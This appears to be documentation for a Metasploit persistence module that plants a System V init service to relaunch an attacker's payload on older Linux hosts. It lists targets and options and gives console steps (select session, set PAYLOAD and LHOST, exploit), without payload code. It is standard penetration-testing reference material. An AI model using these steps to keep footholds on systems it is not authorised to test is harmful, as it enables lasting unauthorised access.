Vulnerable Application

This module will create a service via System V on the box, and mark it for auto-restart. We need enough access to write service files and potentially restart services

Targets:

• CentOS <= 5
• Debian <= 6
• Kali 2.0
• Ubuntu <= 9.04

Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.

Verified on Kali 2.0

Verification Steps

1. Exploit a box
2. use exploit/linux/persistence/init_sysvinit
3. set SESSION <session>
4. set PAYLOAD <payload>
5. set LHOST <lhost>
6. exploit

Options

SERVICE

The name of the service to create. If not chosen, a random one is created.

PAYLOAD_NAME

The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created.

EnableService

If the service should be enabled. Defaults to true

Scenarios
